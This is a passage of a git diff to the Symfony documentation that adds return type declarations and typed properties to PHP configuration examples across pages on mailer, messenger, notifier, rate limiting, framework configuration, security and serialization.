                 ->resource('default', ['flock'])
                 ->resource('default', ['flock:///path/to/file'])
@@ -274,7 +274,7 @@ provides :ref:`named lock <reference-lock-resources-name>`:
         // config/packages/lock.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->lock()
                 ->resource('invoice', ['semaphore', 'redis://r2.docker'])
                 ->resource('report', ['semaphore']);
diff --git a/mailer.rst b/mailer.rst
index 203a06e2873..f1528a81bc0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -601,7 +601,7 @@ and headers.
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $mailer = $framework->mailer();
             $mailer
                 ->envelope()
@@ -1215,7 +1215,7 @@ This can be configured by replacing the ``dsn`` configuration entry with a
         use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->mailer()
                 ->transport('main', env('MAILER_DSN'))
                 ->transport('alternative', env('MAILER_DSN_IMPORTANT'))
@@ -1288,7 +1288,7 @@ you have a transport called ``async``, you can route the message there:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 ->transport('async')->dsn(env('MESSENGER_TRANSPORT_DSN'));
 
@@ -1368,7 +1368,7 @@ disable asynchronous delivery.
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->mailer()
                 ->messageBus('app.another_bus');
         };
@@ -1668,7 +1668,7 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->mailer()
                 ->dsn('null://null');
@@ -1722,7 +1722,7 @@ a specific address, instead of the *real* address:
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->mailer()
                 ->envelope()
diff --git a/messenger.rst b/messenger.rst
index ba8e4a76936..b5d47668eef 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -184,7 +184,7 @@ that uses this configuration:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 ->transport('async')
                     ->dsn(env('MESSENGER_TRANSPORT_DSN'))
@@ -246,7 +246,7 @@ you can configure them to be sent to a transport:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 // async is whatever name you gave your transport above
                 ->routing('App\Message\SmsNotification')->senders(['async'])
@@ -319,7 +319,7 @@ to multiple transports:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
             // route all messages that extend this example base class or interface
             $messenger->routing('App\Message\AbstractAsyncMessage')->senders(['async']);
@@ -452,7 +452,7 @@ transport and "sending" messages there to be handled immediately:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             // ... other transports
@@ -606,7 +606,7 @@ different messages to them. For example:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
@@ -944,7 +944,7 @@ this is configurable for each transport:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
@@ -1045,7 +1045,7 @@ be discarded. To avoid this happening, you can instead configure a ``failure_tra
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             // after retrying, messages will be sent to the "failed" transport
@@ -1163,7 +1163,7 @@ override the failure transport for only specific transports:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             // after retrying, messages will be sent to the "failed" transport
@@ -1255,7 +1255,7 @@ options. Options can be passed to the transport via a DSN string or configuratio
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('my_transport')
@@ -1674,7 +1674,7 @@ override it in the ``test`` environment to use this transport:
         // config/packages/test/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_normal')
@@ -1851,7 +1851,7 @@ this globally (or for each transport) to a service that implements
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->serializer()
@@ -2099,7 +2099,7 @@ Then, make sure to "route" your message to *both* transports:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_normal')->dsn('...');
@@ -2301,7 +2301,7 @@ middleware and *only* include your own:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('messenger.bus.default')
@@ -2391,7 +2391,7 @@ may want to use:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('command_bus');
@@ -2457,7 +2457,7 @@ to configure the validation groups.
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('command_bus');
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index 2207035e11a..4fefd8991d9 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -205,7 +205,7 @@ named transport using your own DSN:
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->messenger()
                 ->transport('yours')
                     ->dsn('my-transport://...')
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 27647781dcb..7c2b548796d 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -81,7 +81,7 @@ an **event bus**. The event bus could have zero or more subscribers.
         // config/packages/messenger.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // The bus that is going to be injected when injecting MessageBusInterface
             $framework->messenger()->defaultBus('command.bus');
 
diff --git a/notifier.rst b/notifier.rst
index 2086c08979e..9a20b816ab9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -149,7 +149,7 @@ configure the ``texter_transports``:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 ->texterTransport('twilio', env('TWILIO_DSN'))
             ;
@@ -279,7 +279,7 @@ Chatters are configured using the ``chatter_transports`` setting:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 ->chatterTransport('slack', env('SLACK_DSN'))
             ;
@@ -378,7 +378,7 @@ notification emails:
         // config/packages/mailer.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->mailer()
                 ->dsn(env('MAILER_DSN'))
                 ->envelope()
@@ -458,7 +458,7 @@ configure the ``texter_transports``:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 ->texterTransport('expo', env('EXPO_DSN'))
             ;
@@ -520,7 +520,7 @@ transport:
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->notifier()
                 // Send notifications to Slack and use Telegram if
                 // Slack errored
@@ -657,7 +657,7 @@ specify what channels should be used for specific levels (using
         // config/packages/notifier.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->notifier()
                 // Use SMS, Slack and email for urgent notifications
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 99e04976b25..6b9b9f2ff89 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -174,7 +174,7 @@ enforce different levels of service (free or paid):
         // config/packages/rate_limiter.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->rateLimiter()
                 ->limiter('anonymous_api')
                     // use 'sliding_window' if you prefer that policy
@@ -415,7 +415,7 @@ You can use the ``cache_pool`` option to override the cache used by a specific l
         // config/packages/rate_limiter.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->rateLimiter()
                 ->limiter('anonymous_api')
                     // ...
@@ -501,7 +501,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
         // config/packages/rate_limiter.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->rateLimiter()
                 ->limiter('anonymous_api')
                     // ...
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3337f05ab27..83e3c2f3cf3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -303,7 +303,7 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->ide('myide://open?url=file://%%f&line=%%l');
         };
 
@@ -432,7 +432,7 @@ performance a bit:
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->enabledLocales(['en', 'es']);
         };
 
@@ -525,7 +525,7 @@ the application won't respond and the user will receive a 400 response.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->trustedHosts(['^example\.com$', '^example\.org$']);
         };
 
@@ -629,7 +629,7 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->csrfProtection()
                 ->enabled(true)
             ;
@@ -699,7 +699,7 @@ You can also set ``esi`` to ``true`` to enable it:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->esi()->enabled(true);
         };
 
@@ -1433,7 +1433,7 @@ To configure a ``jsonp`` format:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->request()
                 ->format('jsonp', 'application/javascript');
         };
@@ -1787,7 +1787,7 @@ setting the value to ``null``:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->savePath(null);
         };
@@ -1842,7 +1842,7 @@ Whether to enable the session support in the framework.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->enabled(true);
         };
@@ -1899,7 +1899,7 @@ This option allows you to define a base path to be used for assets:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->basePath('/images');
@@ -1949,7 +1949,7 @@ collection each time it generates an asset's path:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->baseUrls(['http://cdn.example.com/']);
@@ -1999,7 +1999,7 @@ You can group assets into packages, to specify different base URLs for them:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->package('avatars')
@@ -2075,7 +2075,7 @@ Now, activate the ``version`` option:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->version('v2');
@@ -2203,7 +2203,7 @@ individually for each asset package:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->versionStrategy('app.asset.my_versioning_strategy');
@@ -2303,7 +2303,7 @@ package:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 // this manifest is applied to every asset (including packages)
@@ -2636,7 +2636,7 @@ the component will look for additional validation files:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->validation()
                 ->mapping()
                     ->paths(['%kernel.project_dir%/config/validation/']);
@@ -2857,7 +2857,7 @@ This option also accepts a map of PHP errors to log levels:
         use Psr\Log\LogLevel;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
             $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
             // ...
@@ -3012,7 +3012,7 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('cache.mycache')
                     ->adapters(['cache.adapter.redis'])
@@ -3172,7 +3172,7 @@ the name as key and DSN as value:
         // config/packages/lock.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->lock()
                 ->resource('default', [env('LOCK_DSN')]);
         };
@@ -3252,7 +3252,7 @@ the name as key and DSN as value:
         // config/packages/semaphore.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->semaphore()
                 ->resource('default', ['%env(SEMAPHORE_DSN)%']);
         };
@@ -3430,7 +3430,7 @@ A list of workflows to be created by the framework extension:
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->workflows()
                 ->workflows('my_workflow')
                     // ...
@@ -3588,7 +3588,7 @@ exceptions that match the given exception class:
         use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->exception(BadRequestHttpException::class)
                 ->logLevel('debug')
                 ->statusCode(422)
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 695ae4f00ec..8421969baa8 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -59,7 +59,7 @@ You can now use it anywhere you need it:
         class User
         {
             #[Assert\PasswordRequirements]
-            public $plainPassword;
+            public string $plainPassword;
         }
 
     .. code-block:: yaml
@@ -95,7 +95,7 @@ You can now use it anywhere you need it:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements());
             }
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 9f3d810eb01..fc00b3b9476 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -169,10 +169,10 @@ Consider this example:
         class Service
         {
             #[ORM\ManyToOne(targetEntity: Host::class)]
-            public $host;
+            public Host $host;
 
             #[ORM\Column(type: 'integer')]
-            public $port;
+            public int $port;
         }
 
     .. code-block:: yaml
@@ -211,15 +211,16 @@ Consider this example:
         // src/Entity/Service.php
         namespace App\Entity;
 
+        use App\Entity\Host;
         use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class Service
         {
-            public $host;
-            public $port;
+            public Host $host;
+            public int $port;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => ['host', 'port'],
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 0dd96680101..a3f3d970419 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -54,7 +54,7 @@ to JavaScript::
 
     class Apple
     {
-        public $variety;
+        public string $variety;
     }
 
     $apple = new Apple();
@@ -293,7 +293,7 @@ For example::
 
     class User
     {
-        public $group;
+        public string $group;
     }
 
     $user = new User();
@@ -317,7 +317,7 @@ For example::
 
     class User
     {
-        public $age;
+        public int $age;
     }
 
     $user = new User();
diff --git a/routing.rst b/routing.rst
index be3e6bf49a9..d06a4c3f864 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2381,7 +2381,7 @@ The solution is to configure the ``default_uri`` option to define the
         // config/packages/routing.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->router()->defaultUri('https://example.org/my/path/');
         };
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 55823ee0a31..830e1d64320 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -368,7 +368,7 @@ Now define a service for the ``ExtraLoader``:
 
         use App\Routing\ExtraLoader;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(ExtraLoader::class)
diff --git a/security.rst b/security.rst
index 462d14377cd..8d33ff682e6 100644
--- a/security.rst
+++ b/security.rst
@@ -121,16 +121,16 @@ from the `MakerBundle`_:
         #[ORM\Id]
         #[ORM\GeneratedValue]
         #[ORM\Column(type: 'integer')]
-        private $id;
+        private int $id;
 
         #[ORM\Column(type: 'string', length: 180, unique: true)]
-        private $email;
+        private ?string $email;
 
         #[ORM\Column(type: 'json')]
-        private $roles = [];
+        private array $roles = [];
 
         #[ORM\Column(type: 'string')]
-        private $password;
+        private string $password;
 
         public function getId(): ?int
         {
@@ -207,7 +207,7 @@ from the `MakerBundle`_:
         /**
          * @see UserInterface
          */
-        public function eraseCredentials()
+        public function eraseCredentials(): void
         {
             // If you store any temporary, sensitive data on the user, clear it here
             // $this->plainPassword = null;
@@ -420,11 +420,12 @@ the database::
     namespace App\Controller;
 
     // ...
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
     class RegistrationController extends AbstractController
     {
-        public function index(UserPasswordHasherInterface $passwordHasher)
+        public function index(UserPasswordHasherInterface $passwordHasher): Response
         {
             // ... e.g. get the user data from a registration form
             $user = new User(...);
@@ -611,11 +612,11 @@ use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
             // Avoid calling getFirewallConfig() in the constructor: auth may not
             // be complete yet. Instead, store the entire Security object.
             private Security $security,
-            RequestStack $requestStack,
+            private RequestStack $requestStack,
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             $request = $this->requestStack->getCurrentRequest();
             $firewallName = $this->security->getFirewallConfig($request)?->getName();
@@ -918,7 +919,7 @@ First, you need to enable CSRF on the form login:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
@@ -1008,7 +1009,7 @@ Enable the authenticator using the ``json_login`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
@@ -1175,7 +1176,7 @@ authentication:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->httpBasic()
                 ->realm('Secured Area')
@@ -1296,7 +1297,7 @@ Then, enable the X.509 authenticator using ``x509`` on your firewall:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->x509()
                 ->provider('your_user_provider')
@@ -1364,7 +1365,7 @@ Enable remote user authentication using the ``remote_user`` key:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->remoteUser()
                 ->provider('your_user_provider')
@@ -1444,7 +1445,7 @@ You must enable this using the ``login_throttling`` setting:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
 
             $mainFirewall = $security->firewall('main');
@@ -1582,7 +1583,7 @@ and set the ``limiter`` option to its service ID:
         use Symfony\Config\FrameworkConfig;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security): void {
             $framework->rateLimiter()
                 ->limiter('username_ip_login')
                     ->policy('token_bucket')
@@ -1713,7 +1714,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $mainFirewall = $security->firewall('main');
@@ -1742,7 +1743,7 @@ Next, you need to create a route for this URL (but not a controller):
         class SecurityController extends AbstractController
         {
             #[Route('/logout', name: 'app_logout', methods: ['POST'])]
-            public function logout()
+            public function logout(): never
             {
                 // controller can be blank: it will never be called!
                 throw new \Exception('Don\'t forget to activate logout in security.yaml');
@@ -1773,7 +1774,7 @@ Next, you need to create a route for this URL (but not a controller):
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('app_logout', '/logout')
                 ->methods(['POST'])
             ;
@@ -1880,6 +1881,7 @@ accessed via the ``getUser()`` shortcut in the
 :ref:`base controller <the-base-controller-class-services>`::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class ProfileController extends AbstractController
     {
@@ -1920,7 +1922,7 @@ If you need to get the logged in user from a service, use the
         ){
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // returns User object or null if not authenticated
             $user = $this->security->getUser();
@@ -1978,7 +1980,7 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     class User
     {
         #[ORM\Column(type: 'json')]
-        private $roles = [];
+        private array $roles = [];
 
         // ...
         public function getRoles(): array
@@ -2043,7 +2045,7 @@ rules by creating a role hierarchy:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']);
@@ -2158,7 +2160,7 @@ start with ``/admin``, you can:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
 
             // ...
@@ -2227,7 +2229,7 @@ the list and stops when it finds the first match:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             $security->accessControl()
@@ -2440,7 +2442,7 @@ the login page):
         use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->enableAuthenticatorManager(true);
             // ....
 
@@ -2634,7 +2636,7 @@ for these events.
 
             use App\EventListener\LogoutSubscriber;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 $services = $container->services();
 
                 $services->set(LogoutSubscriber::class)
diff --git a/security/access_control.rst b/security/access_control.rst
index 231a0fb440b..cd1f8f276d6 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -118,7 +118,7 @@ Take the following ``access_control`` entries as an example:
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, SecurityConfig $security) {
+        return static function (ContainerBuilder $container, SecurityConfig $security): void {
             $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
 
diff --git a/security/csrf.rst b/security/csrf.rst
index dd9c9c14333..3286cb44a3f 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -50,7 +50,7 @@ for more information):
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->csrfProtection()
                 ->enabled(true)
             ;
diff --git a/serializer.rst b/serializer.rst
index 1d1c91aee70..8da6df57c40 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -28,11 +28,12 @@ you need it or it can be used in a controller::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Serializer\SerializerInterface;
 
     class DefaultController extends AbstractController
     {
-        public function index(SerializerInterface $serializer)
+        public function index(SerializerInterface $serializer): Response
         {
             // keep reading for usage examples
         }
@@ -146,7 +147,7 @@ configuration:
         use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->serializer()
                 ->defaultContext([
                     AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
@@ -327,15 +328,15 @@ to your class::
         #[ORM\GeneratedValue]
         #[ORM\Column(type: 'integer')]
         #[Groups(['show_product', 'list_product'])]
-        private $id;
+        private int $id;
 
         #[ORM\Column(type: 'string', length: 255)]
         #[Groups(['show_product', 'list_product'])]
-        private $name;
+        private string $name;
 
         #[ORM\Column(type: 'text')]
         #[Groups(['show_product'])]
-        private $description;
+        private string $description;
     }
 
 You can now choose which groups to use when serializing::
@@ -487,7 +488,7 @@ value:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
         };
 
diff --git a/service_container.rst b/service_container.rst
index 80ed141e83d..65b3586270c 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -203,7 +203,7 @@ each time you ask for it.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 // default configuration for services in *this* file
                 $services = $container->services()
                     ->defaults()
@@ -407,7 +407,7 @@ example, suppose you want to make the admin email configurable:
       class SiteUpdateManager
       {
           // ...
-    +    private $adminEmail;
